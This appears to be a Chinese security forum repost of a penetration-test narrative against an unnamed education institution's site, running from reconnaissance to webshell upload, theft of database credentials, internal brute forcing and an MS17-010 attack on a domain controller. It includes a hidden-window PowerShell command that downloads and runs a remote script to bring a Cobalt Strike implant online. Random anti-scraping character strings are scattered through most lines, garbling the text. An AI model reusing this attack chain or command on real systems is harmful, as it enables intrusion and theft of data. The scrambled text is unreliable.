找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2623|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

+ f9 n) X0 P' J! s; j/ D$ R5 e 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路 1 c& n* j" @1 f: z

9 J" z% [1 U" Y- S3 E; U+ D1 M

A4 `: J% i2 k  ! C# V' B+ N, E2 I& b( ^* i

9 w5 ^5 d6 J2 |- a

6 d. ^3 \& b+ O5 [ 正文 3 C& \; u9 \! f2 l; s2 [9 |

4 \5 e! c5 H, v9 L

1 l! C( i6 ]; S+ @2 j: g  0 @6 y' V" z7 i1 z& } m

% V1 B$ h% z z1 U2 m: u

. E- T6 F: M! T7 }4 a% T. Q% S- i8 a 目标：www.xxxx.com(一家教育机构)
: e# p |3 ~- Q4 @7 H: J' n3 w打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能6 G. N, S+ P1 ~' v

* q* Y2 `) ^* F. N6 X6 z$ B# R1 x

& I! I- w/ g# J. ]1 }* r& o vshapes= / H( j6 h1 D8 [7 x. l" k/ U( T

" b& J+ u3 R7 d1 i4 r' N

% U V) p' y( B 进行了简单的信息搜集
1 [ y* L3 b6 t7 G* W0 \+ L
6 `* I- l) G4 v0 ^9 m . S$ m9 H2 X, y1 j# W* f, R& @7 j1 T

4 X. R3 M& n' O9 ^

! i# ?1 F4 S; z u: l7 v3 g 子域名搜集2 ^* ]# h" P, V: I' t

3 d0 W/ z4 U) W; M/ M

; b/ {% A8 b: u' ~7 c7 u vshapes=# P9 }, O( F/ [; O/ z3 _- W6 S a

3 ?& o; F+ J' t, ~/ S

: v) o& S& Z2 O S3 E( Y7 R fofa找资产
# F& e& e, [9 Q, x
( H( I: A+ A8 o% Q6 T( X . u! _: |' Q) D3 N: F0 R* a

( p( U" f4 b5 ?5 W8 A2 k+ ^

( n" z4 N$ N; p& }" g vshapes=$ [& }3 l8 ~4 o% r( j$ h

( A2 g* P8 h; ~; P v4 r* L

8 j& @* ]9 ]' E8 y. w; i 一共七个资产。去重之后只有两个。
( I! m3 h/ P( t X
+ W5 X% b' r! t* q3 ^. a- Y/ Y' r. _9 P

" q* v- S/ Q3 ]' e u4 }

! J5 J; Q+ y4 N; C- o1 p$ c; _* u. y 目录探测 9 _0 \1 `# h& W" J# R8 a

1 y' b# F% T E2 i4 D" \! p

. ? J1 C+ z1 r2 v7 g vshapes= " W+ V; W- ~* Y4 e- z

; T! v- T' m' Q7 @9 _/ |

* k; A7 F, F+ u 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
9 p1 N" _' i0 _
- q# @* V4 [5 J5 s1 I ( b, l, K/ } S( J/ Y

& n0 ]5 l5 B0 `5 Q" `

% f, s' W3 z9 P8 ? 我又尝试了通过修改返回包来绕过登录界面# h+ W5 {" Y. X, |) D( y

+ s4 j4 U: F8 }0 f$ l4 }/ t

, C' X" a/ T0 d, I vshapes=5 U" [3 ]4 {; ?5 s

& G2 U4 J# G$ U9 w4 Q$ i1 u

) i1 t) }& g* b, @# p/ ? o 还是不行，尝试注入无果8 i( x5 h# ^8 T4 |6 g

( R* `+ h) f# I( n

1 M8 ?1 ]8 `; o vshapes=7 k B$ q2 U" f2 ?2 C- h

: |. @% M9 `8 x& y7 f# T

) F0 s0 o# R3 i 不过我目录探测出了一处Spring信息泄露
- x. i5 i6 m# ?7 B* m5 f1 ~
- h# [9 [& T8 {8 L V3 l 3 m7 S8 Z8 ^% Y. k5 X" T

7 S5 V6 ]4 @* ?0 w

$ q( L2 r) ?4 P' i r vshapes= 0 S+ Z2 W7 G& [

- {3 k' e$ R$ P' H* ^+ I- H0 g3 X; R

5 e9 {( I! a9 F" f8 a 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 % Z* l) n! r% @/ h" J5 q( Z

/ Y1 }4 D( i7 i3 \* L

8 ]9 u* Z! n) D! Q; Z vshapes=+ f4 @3 i& J% q; `( f6 u" M

! @8 f- {& {! G; N; r, m

+ z0 H% z6 A4 A- |" v: v 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。2 }8 G2 {( [5 I

# Q! X2 E% R) ^

* Y9 D) V; O1 y4 O% P3 C0 M vshapes= 3 A b4 \: d2 g# n f

" Z h3 K1 o) Z4 ?

# q3 O* I0 H+ P6 C) M) L7 u h 获取有些师傅到这一步就手机抓包电脑测了。) c, ]3 a; @# Y0 [: \0 C

0 K' ]6 r% k! [: ^

. ^( N( e- h- Z; j5 e( O1 p Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 $ n4 u9 H* O0 U$ R; e$ v& j

- c, q- B# S+ A% |4 X' o5 ]6 O

3 w) L9 b+ _0 }- k 其中在一个公众号发现了小程序，可以进行注册。 0 P5 D& g) D A T2 S

8 w" K# D2 Z# p% m5 w

$ q# S+ y5 X! |" f 看到了头像上传，尝试上传获取WebShell / q9 P5 G) @0 ^6 `3 H

% s' u0 C/ B, d0 z

# ~7 p1 |4 v( B% ~# z% {0 _ vshapes= 6 p8 w+ J: o! X+ ]2 z. k

7 N) B$ [) ?; Q2 d0 ~1 ]8 i5 z

* d7 C* B Z0 F c 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 ) E3 y) u% D# _

9 N- u; W( l' l$ S( @) K8 w6 b+ j

; y0 P( E3 y K6 V vshapes=' j# O. \ ^' N9 W* v

" n6 d! Q) s, t; \' d' e. N

5 ]& o) D* G2 a* B/ S5 m4 u, { 然后上了大马7 j# P I2 h4 ]

9 H5 v/ T t O% E9 e' O# k

6 K- X& E8 f" |& _# B9 C, `/ P/ q vshapes= 9 b2 z) z" o- _

/ a0 L3 h U4 ^5 V" k* J E

' `+ N; C/ C7 p, Y& f% \5 ^" m vshapes=0 W3 T, O: w7 O0 u

; F0 K+ `6 x7 H* A4 G: b6 W* j

* P* H; c+ K- K 通过翻找文件发现数据库账号密码+ e8 \0 d2 O, X6 I) t- i+ ^

( _4 v1 m# l& Z7 C7 ?7 b

+ G# ~5 K4 h3 e* O: V8 _2 O vshapes= ( _ v# f6 l/ |) C4 b

/ v7 f) E3 N/ W) O9 _

* E# b; O, {8 G) l! z& R1 Z$ g' p --内网渗透( Z4 g/ E# C% s

8 H ~. R7 N; l+ z7 b

; O! J2 x2 g- Z6 U0 K- ?+ a 直接通过powershell执行 cs上线/ q/ F4 N. Q$ S. f) z

. S! ?5 g, O! ]0 s6 b6 W

: ?0 F( y Y E4 \: Z# D powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" & h# z" z! Z1 g7 O

. w7 ?8 U% [2 W/ l. c

$ A f( j$ W* C$ g5 s z3 I vshapes=" d0 c) {, I6 {7 J2 t

% c! @/ y/ o" T+ `+ ?4 o

) q# ]1 j# R9 W7 A' o$ i 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破' z0 R- c6 Z. R) m/ i

0 o, t& Z5 b+ U# i

5 O- a& Y5 Z3 V* E L vshapes=2 I5 i/ x% E' \! y% l. x3 `

8 ^) W/ }/ @8 A+ q6 X1 ]

/ ?* S$ X) C f; B 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
0 m' k- b ?3 O& g9 C
# i8 h9 S3 z4 t j7 p3 X- ]% Y
2 g3 e; I5 z" g- Y 6 d U ?7 Y: M8 P; y

9 b6 G2 ?* A5 }5 {$ ] V. X1 X

) X$ h& M- U: G# x- |: T vshapes=# U* | ?/ V, L- r; B* k

3 O5 ^# F# d ]! n

{* F+ [7 t$ O9 k8 n 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
9 H p( G- g; f- X
& R( m; j% E$ T' s" W5 e' u4 w8 D1 B1 I1 K2 h. A; j

. j+ P/ B) d0 J% q

) |0 V X& o% t. q/ _5 E* q" Z vshapes= }+ z6 _ S: Q$ A, Q( x! l; ^

: A% n& {6 t" b2 l5 s& ]/ \+ E

' d. Y$ s9 j* K: Q8 _! \
# o2 i2 F3 i% K0 K* m, C
! u* @$ T. c& Y" d! `, H) } v 0 s0 T0 [( n* d

7 M [- |. `# Q: u

" `: D# s3 L( b0 r6 Q7 Y4 G   ' g9 ?' D& [. _. ~ v; j# U

2 s$ h- Z& S3 O" p6 F

) P; E* q3 \; Z' d# M 小结* s' c, S! _9 p E1 G1 m: P

1 D* y/ m. o7 Y+ H8 `: V

# F. D8 |1 T% i* C9 n4 \ H8 O   ; q2 T5 y, e- u6 y/ T2 F/ g* X \

& \1 D7 k. q7 k! ?4 d- u! L

8 @# u2 ]( X1 [2 K# d* O 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！ ! I/ r: N1 g8 X( B6 v4 d

$ K9 ~- A( Y$ Y0 Q' @

2 w* z4 F) [% C( D6 f3 I   0 |- G8 F, b. K1 B9 b5 J

- W2 f1 P1 Q j
    1 G/ z4 o2 [; I
  • 6 p5 g' E* q; s4 w$ O# Y  : s6 C9 Q; i; r6 s# I' e0 |+ ?1 p
    • ) p9 U W2 d3 R6 M4 q: g8 w, ?
  • 3 @) M0 G6 H" G% z$ n   7 X% Y* M, d; e- A: D
    • + Q7 _& C# U! C9 t8 _1 ]* B
4 v* e! i# x5 l2 ?! Y9 r

G" P( J& Y8 |8 m4 C ^9 P) Z8 m 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html* V: x% o D. f, s; `/ s

/ j( H z. F! O8 e; x3 b/ W

# v) ^8 I2 T% d9 E8 }$ L: @# B3 j1 ^   * J" ]! ]& t& `

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表